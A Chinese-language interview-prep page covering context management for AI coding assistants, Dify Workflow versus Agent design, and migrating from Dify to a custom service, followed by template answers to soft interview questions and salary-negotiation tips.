  • 发现模型基于旧代码或错误假设继续推理,应立即回到文件与命令输出重新校准
  • 切换任务时清理无关上下文,敏感数据在进入模型前最小化、脱敏并遵守权限边界

上下文管理的关键,是只保留当前决策真正需要的事实和验收标准。 我一般先检索入口、调用链和测试,再精读相关代码,避免把整个仓库或重复日志一次性塞给模型。长任务要把已确认事实、决策、待办和验证结果写进计划或规格;一旦代码变化或输出推翻假设,就重新读取事实来源。切换任务时应清掉无关内容,敏感数据也只提供必要且脱敏后的片段。

面对陌生仓库,我会先读项目指南和入口文件,用搜索确认符号定义、调用方与测试位置,再只展开会影响当前决策的代码。报错排查保留完整错误、复现命令和最近相关变更,但会过滤重复日志。长任务不能依赖模型“记住所有对话”,应把稳定事实写进计划、规格或任务文件,让上下文压缩后仍能恢复;临时猜测则明确标记,避免它在后续被当成结论。

当文件被其他人修改、依赖版本变化或工具输出与原假设冲突时,要重新读取事实来源,而不是沿用旧推理。并行任务之间只共享已确认的接口和结果,避免相互覆盖。安全方面不把整份环境变量、生产数据或用户隐私塞进上下文,只提供完成任务必需的最小片段。上下文管理的目标不是减少每次输入字数,而是降低误解、返工和越权概率。

实战案例:跨三轮完成登录模块重构

第一轮不要把全仓库塞给 AI,只让它检索登录入口、会话读取、路由守卫和测试,形成一张事实清单:

## 已确认事实
- 登录入口:src/app/login/page.tsx
- 服务端会话:src/server/session.ts
- 受保护路由通过 requireUser() 校验

## 已确认决策
- 保持现有 cookie 名称,避免用户全部掉线
- 先兼容旧 session,再单独执行数据迁移

## 待验证
- 移动端 WebView 是否支持当前 SameSite 配置
- 退出登录后缓存页面是否仍可返回

第二轮实现时只加载事实清单和当前任务涉及的文件;每完成一个子任务,就记录改动、测试与未解决风险。第三轮做独立审查时开启干净会话,仅提供规格、最终 diff 和验证命令,让新的 AI 不受前一轮解释影响。若审查发现文件路径或实现已经变化,必须重新搜索,而不是相信清单里的旧位置。这就是“外部化稳定状态、按需加载代码、用新会话独立复核”的落地方式。

💬 面试官追问

  • 认证改造时把整个仓库一次性塞进长上下文,AI 却引用了已经废弃的登录实现;上下文越长为什么没有更可靠?

    大量无关文件会稀释当前任务所需事实,也可能让旧实现与新代码同时进入判断依据。应先外部化已确认事实,再按任务检索并精读相关文件;清单中的路径若已变化,必须重新搜索,不能沿用旧位置。

  • 第二轮实现只处理“退出登录后缓存页面是否可返回”,应该向 AI 提供哪些材料,完成后记录什么?

    只需加载已确认的事实清单、当前任务涉及的文件以及对应验证条件,避免携带无关讨论。完成后记录代码改动、测试结果和未解决风险;若移动端 WebView 或缓存行为尚未验证,应继续标为待验证事实。

  • 项目从桌面浏览器扩展到移动端 WebView,原先确认过的 SameSite 结论还能直接写进事实清单吗?

    不能直接复用,因为运行环境变化后,原结论未必覆盖当前 WebView 行为。应把“是否支持当前 SameSite 配置”保留为待验证项,并用目标环境验证;缺少证据时不能把推测升级为稳定事实。

  • 第三轮独立审查发现事实清单写着 src/auth.ts,但最终 diff 已把逻辑迁到别处,审查会话该相信哪一个?

    应重新搜索仓库并以当前代码、最终 diff 和验证命令为准,事实清单只提供检索线索。旧路径说明外部化状态已经过期;若不更新清单,后续会话可能持续检查错误位置并漏掉真实改动。

  • 登录改造仍在同一会话继续,和开启干净会话做独立审查,应该怎样取舍?

    连续实现可保留事实清单和当前子任务上下文,减少重复定位;独立审查则应开启干净会话,只提供规格、最终 diff 与验证命令。新会话能降低前一轮解释造成的确认偏差,但必须先外部化决策与未完成项,避免状态丢失。

  • 退出登录用例已经通过,但“缓存页面是否仍可返回”没有覆盖,任务能否从待验证清单中删除?

    不能删除,因为现有用例没有证明浏览器历史记录或缓存页面的返回行为。应在目标页面和实际退出路径上验证,并记录结果与环境;若暂时无法复现完整环境,只能明确保留风险,不能用相邻测试替代证据。

# Dify Workflow 和 Agent 应该怎么选?

⚡ 30 秒速记

  • 固定步骤、强审计、低容错的任务优先 Workflow
  • 路径无法预先确定、需要自主选择工具的任务才用 Agent
  • 金额、权限、库存等确定性规则交给代码,不交给模型猜
  • 常见生产架构是外层 Workflow 控流程,中间 Agent 处理探索性子任务
  • Agent 返回结构化结果后,再由 Workflow 校验、审批和落库

步骤固定、需要审计且容错率低的任务选 Workflow,路径不确定、需要自主调用工具时才选 Agent。 像发票抽取、金额校验和写库,流程明确,更适合固化;线上故障诊断要根据现场选择日志、指标或代码,更适合交给 Agent。生产中常用外层 Workflow 控制流程和审批,让 Agent 只处理探索性环节。金额、权限、库存等确定性规则仍应由代码判断。

例如发票入账的读取、抽取、金额校验和写库步骤都明确,适合 Workflow;线上故障诊断需要根据现场决定查日志、指标还是代码,更适合 Agent。随着 Agent 的线上轨迹逐渐收敛,应把重复路径固化为 Workflow,降低 token、延迟和随机性。

💬 面试官追问

  • 发票入账步骤已经固定,团队仍让 Agent 自主决定抽取、校验和写库顺序,这种灵活性为什么可能是反例?

    步骤明确的发票入账更适合 Workflow,把读取、抽取、金额校验和写库按确定顺序编排。继续让 Agent 自主选择会增加随机性、延迟和调用成本;金额校验与写库权限仍应由确定性逻辑约束。

  • 线上故障台需要在日志、指标和代码之间动态选择调查路径,怎样设计 Agent 才不至于变成随机尝试?

    这里适合 Agent 根据现场证据选择下一步,但每次调用都应留下输入、结果和判断依据。权限与副作用必须受外部规则限制,诊断结论也要由日志、指标或代码验证;证据不足时应继续取证而非直接修改生产环境。

  • 发票流程新增多种供应商格式,但写库规则仍固定,应该整体改成 Agent 吗?

    不必整体切换,可让不确定的格式识别或异常分流使用模型判断,金额校验和写库继续留在 Workflow 的确定节点。边界应随步骤的不确定性调整;模型输出无法通过确定性校验时,应进入人工复核而非继续写库。

  • 线上诊断 Agent 连续多次都沿着“查日志→查指标→定位发布差异”的路径运行,团队该如何减少随机性和成本?

    应分析已收敛的运行轨迹,把稳定、重复的调用顺序固化为 Workflow,仅把真正需要现场选择的分支留给 Agent。固化前要确认路径能覆盖常见输入;异常场景仍需回退到探索式诊断。

  • 财务负责人要求模型判断金额是否合规后直接入账,产品负责人则追求全自动,架构上怎么取舍?

    模型可以参与字段抽取和异常建议,但金额校验、权限授权及写库条件应由确定性代码执行,必要时加入人工确认。全自动不能以取消控制点为代价;无法校验或存在冲突时,流程必须停止写入。

# 从 Dify 原型迁移到自研服务,要提前解耦什么?

⚡ 30 秒速记

  • Prompt 模板、变量、输出 schema 和评测集要独立版本化
  • 原始文档、切片规则和元数据是事实来源,向量索引应该能够重建
  • 工具通过稳定 HTTP 或 MCP 接口暴露,不绑定平台私有节点
  • 会话和反馈保存在业务数据库,平台不能成为唯一数据源
  • 前端消费统一流式事件协议,后端再适配 Dify 或自研编排器

要提前解耦提示词与数据资产、工具接口、业务状态和前端流式协议,避免核心能力绑死在 Dify 上。 提示词模板、变量、输出 schema 和评测集应独立版本化,原始文档、切片规则与元数据作为可重建向量索引的事实来源。工具统一通过稳定的 HTTP 或 MCP 接口提供,会话和反馈落到业务数据库,后端负责适配不同编排器。迁移时先用脱敏请求旁路对比,再灰度切流并保留回退开关;涉及写操作只能模拟或进入隔离环境。

迁移时不要一次性切流。先复制脱敏请求做旁路对比,检查事实正确率、任务成功率、首 token 时间、总耗时和成本;再按租户或比例灰度,并保留快速回退开关。写操作的旁路只能模拟或进入隔离环境,不能让新旧链路同时修改生产数据。

💬 面试官追问

  • 团队准备周五把全部租户从 Dify 一次切到自研服务,并以“回答看起来差不多”作为验收,风险在哪里?

    不应一次性全量切流,也不能只靠主观相似度判断质量。应先复制脱敏请求做旁路对比,再按租户或比例灰度并保留快速回退开关;否则事实错误、延迟或成本回归会直接影响全部用户。

  • 迁移旁路已经接入真实请求,工程侧至少要对比哪些结果,才能决定是否进入灰度?

    应比较事实正确率、任务成功率、首 token 时间、总耗时和成本,并用固定评测集保持口径一致。关键字段还需确定性程序校验;若指标结论相互冲突,应继续定位,不能只挑有利结果放量。

  • 新服务需要执行退款写操作,产品希望旁路阶段让新旧链路同时跑,以便比较成功率,应该怎么处理?

    写操作的旁路只能模拟或进入隔离环境,不能让新旧链路同时修改生产数据。可对脱敏请求比较决策结果与校验输出,再在受控灰度中让单一链路获得写权限;否则会产生重复退款或状态竞争。

  • 灰度租户的人工转接率上升,但离线评测的事实正确率没有下降,排查顺序应该是什么?

    先按租户和请求类型对齐新旧链路,检查任务成功率、首 token 时间、总耗时及失败分支,而不是只看答案事实性。人工转接可能来自超时或流程失败;原因未确认前应暂停扩量,并准备使用回退开关。

  • 按租户灰度和按流量比例灰度发生选型冲突:前者隔离清晰,后者覆盖更快,依据什么决定?

    若租户配置、数据边界或流程差异明显,按租户灰度更容易定位和回退;请求较同质时,比例灰度更便于观察整体指标。无论选择哪种方式,都要保证新旧样本可比较并保留快速回退,写操作不能双执行。

  • 迁移后想用另一个模型给所有回答打分,作为唯一质量门禁,为什么不够?

    模型评分可作为辅助信号,但不能替代固定评测集、任务成功率和关键字段的确定性校验。还应结合小流量观察用户追问率、人工转接率与负反馈;评分模型偏差或漏判时,唯一门禁会掩盖真实回归。

# 16 开放问题

# 面试结束面试官问你想了解什么

⚡ 30 秒速记

  • 一定要问这三个问题

我会重点问业务价值、团队协作方式和项目技术栈,这三类信息最能判断岗位是否合适。 先了解部门负责什么产品、处于什么赛道,以及产品的用量和规模,可以判断它是不是核心业务。再问团队有多少人、角色如何分工,能侧面看出协作是否规范。最后了解项目采用什么技术栈,用来判断技术是否老旧,也方便确认自己的经验能否匹配。

一定要问这三个问题

  • 部门所做的产品和业务(赛道),产品的用量和规模(看产品是否核心)
  • 部门有多少人,有什么角色(问出部门是否规范)
  • 项目的技术栈(看技术栈是否老旧)

💬 面试官追问

  • 面试官说“我们业务增长很快”,但没有说明具体产品和用户规模,你会怎样继续追问,避免只得到宣传口径?

    我会追问部门负责的具体产品、核心使用场景,以及它在公司业务中的定位和大致用量。重点不是索取敏感数字,而是判断产品是否属于核心链路;如果对方只能给宽泛描述,就保守看待岗位稳定性和项目影响力。

  • 你应聘的是前端岗位,但面试官只说“团队十几个人”,你会问哪些角色信息来判断研发流程是否规范?

    我会确认前端、后端、测试、产品和设计等角色如何配置,以及需求评审、联调和上线由谁负责。角色齐全不等于流程成熟,但职责长期混杂或缺少质量保障角色,通常意味着前端需要承担更多协调与交付风险。

  • 面试官介绍项目仍在使用较老的技术栈,但业务规模稳定、团队也不准备立即升级,你会怎样判断这个岗位是否值得去?

    我会继续确认旧技术栈覆盖的是核心系统还是存量维护模块,以及新需求是否允许采用较新的方案。技术老旧本身不是否决项,真正的风险是缺少演进计划且工作长期停留在修补;升级空间则要结合业务优先级判断。

  • 面试官说部门既做核心产品又承接内部工具,但没有明确你入职后的项目归属,你会怎样问出真实工作边界?

    我会询问岗位当前对应的产品、主要服务对象、需求来源,以及核心产品与内部工具的投入比例。这样能判断招聘是稳定扩编还是临时补位;如果项目归属尚未确定,就需要把工作内容存在变化作为选择岗位的风险。

  • 业务规模很大,但团队角色配置不完整;另一家公司规模较小,却有清晰分工和较新的技术栈,你会依据什么继续比较?

    我会把产品核心程度、团队规范性和技术栈可持续性放在一起比较,而不是只看单项优势。大规模业务可能带来复杂场景,也可能放大协作成本;小团队流程清晰但影响范围有限,最终取舍应匹配自己期望的成长方向。

# 工作中遇到过哪些项目难点,是如何解决的

遇到问题要注意积累

  • 每个人都会遇到问题,总有几个问题让你头疼
  • 日常要注意积累,解决了问题要自己写文章复盘

如果之前没有积累

  • 回顾一下半年之内遇到的难题
  • 思考当时解决方案,以及解决之后的效果
  • 写一篇文章记录一下,答案就有了

答案模板

  • 描述问题:背景 + 现象 + 造成的影响
  • 问题如何被解决:分析 + 解决
  • 自己的成长:学到了什么 + 以后如何避免

一个示例

  • 问题:编辑器只能回显JSON格式的数据,而不支持老版本的HTML格式
  • 解决:将老版本的HTML反解析成JSON格式即可解决
  • 成长:要考虑完整的输入输出 + 考虑旧版本用户 + 参考其他产品

# 你未来发展怎么规划的

我想在工作中再创新高,我希望在三年以内能够在我职业上做出点成绩,比如达到架构师,我希望能在公司做技术强的人之一,能够带领更多同事做的更好

# 你期望加入一家什么样的公司

业务好,赛道好,技术牛逼(抬高对方),能够让自己更好的成长,我希望除了以上这些外,公司还要有发展空间,希望入职的这家公司我有用武之地(贬低自己),未来我希望跟这家公司走的很远(稳定性),我希望能成为这家公司的前端leader,引领前端团队,这也是我的目标。我感觉贵公司是我梦想中的公司

# 平常除了开发还会做什么?

  • 有时间去看一下b站老师的分享,提高自己的认知,比如说看xx的分享
  • 报课学习成长
  • 如果面试官问,天天学习你不觉得无趣吗,你可以回复,也不会一天到晚都在学习,我也经常运动(足球、篮球)(不要回复其他兴趣看书啥的),人家就是想看你的团队协作性怎么样

# 怎么看待加班

员工应该站在公司的角度适应公司的发展,看公司当前业务的需要,公司需要我就会加班,对公司有利我们就冲,我相信一个优秀的公司是合理安排员工的休息的时间的,也不是靠加班加出来的,也有规范的流程,当然该加班的时候还得加

# 你最大的缺点

  • 比如你是做前端的,你可以说你对运维那块的部署相关不熟悉,经验还不足等等。你是做后端的,你可以说你对那些炫酷的页面交互不太熟悉。
  • 优秀案例:突出你好学的心态
    • 以前因为工作的关系不常用xxx技术栈,在业余时间略有接触,但是理解还不够深。
    • 但是自从xxx后,我就买了有关的书籍和一些视频教学深度学习。
    • 每天都会下班后用一个小时的时间在掘金,CSDN等论坛活跃,阅读网友的文章。同时我也会把我自己的疑惑跟大家交流,大家一起进步,让我在这方面越来越熟

# 你觉得你有哪些不足之处

  • 我觉得自己在xx方面存在不足(不足限制在技术上聊,不要谈其他容易掉HR的坑里)
  • 但我已意识到并开始学习
  • 我估计在xx时间把这块给补齐

要限定一个范围

  • 技术方面的
  • 非核心技术栈的,即有不足也无大碍
  • 些容易弥补的,后面才能“翻身”

错误的示范

  • 我爱睡懒觉、总是迟到 —— 非技术方面
  • 我自学的 Vue ,但还没有实践过 —— 核心技术栈
  • 我不懂 React —— 技术栈太大,不容易弥补

正确的示范

  • 脚手架,我还在学习中,还不熟练
  • nodejs 还需要继续深入学习

# 优雅谈薪的技巧

  • 先询问对方能给多少
    • 虽说不要打太极,但也别跟愣头青一样,直接就报价了,你可以先问一下对方到底能给多少,给两个范例
      • 基于我前面的面试表现,贵公司最多能给到多少呢?
      • 我看招聘需求上的20~35K浮动较大,所以我想先问一下,您们这边具体能给多少?
    • 有些HR会直接摊牌,有些则会把皮球再踢回来,让你先出价
  • 根据自身情况合理报价
    • 把这个事先准备好的薪资报出去即可(记得要比真实期望高个1~2K)
    • 能报具体数字,就别报范围值,好比你报18~20,HR就会当成18K
  • 结合企业情况报价
    • 你可以根据企业的规模来报价。规模越大,你报出的具体数字可以越高,因为大企业有能力开出你要的工资,不过前提是你能让对方满意
    • 同时,大家在面试前,也可以提前查一下对应公司的薪资,咋查呢?脉脉、职友集等平台都行,如:
  • 结合面试发挥情况报价
    • 之前制定期望薪资时,咱们不是整了一个范围值嘛?为此大家也要学会变通,面试发挥得越好,报出的数字可以越高,这样做的好处在于:能让你有机会拿到更高的薪资,方便后续选Offer。
    • 当然,面试发挥比较差时,可以适当报低一点
  • 基于手里的Offer报价
    • 因为手上已经有Offer了,此时可以寻求更高的薪资,比如手里有一个15K的,这次则可以试着去抬到17、18K。如果成功了,意味着你每月又能多出2~3K,就算失败了,也有上一个Offer兜底
    • 注意点:如果HR没有问“有没有其他Offer”时,那最好别自己主动说出来
    • 因为这样做,会让HR觉得有股“胁迫”的味道在里面,如:
      • 我现在手里拿到了一个18K的Offer,所以我的期望薪资是20K
    • 这就好像是“你不给我开20K,我就不考虑你们”的意思,正因如此,基于手里的Offer报价时,千万别用这样“威胁式”的抬价手段
  • 细聊薪资的组成结构
    • 当你们双方谈妥工资后,别忘了问清楚薪资的结构,不然被坑了,也只能是哑巴吃黄连,如果你不知道怎么问,可以从这些方向出发
      • 五险一金什么时候交?以基本工资为准还是工资总额?
      • 薪资的组成结构是什么样的(基本工资、绩效工资的比例)?
      • 多薪制是签在合同里面,还是按绩效作为年终奖发放?
    • 同时,如果你的简历写了期望薪资,那谈薪会十分轻松,毕竟看了你的简历后,依旧把你喊过来面试,代表这家企业绝对能给到这个工资。为此,在简历写上期望薪资的小伙伴,将是最容易谈薪的一群人,直接按照简历上的薪资报价即可,也无需揣测用人方真实的招聘薪资~
webapp
公众号
开发者导航
切换夜间模式
点击侧边栏上一篇
点击侧边栏下一篇
折叠侧边栏
收起全部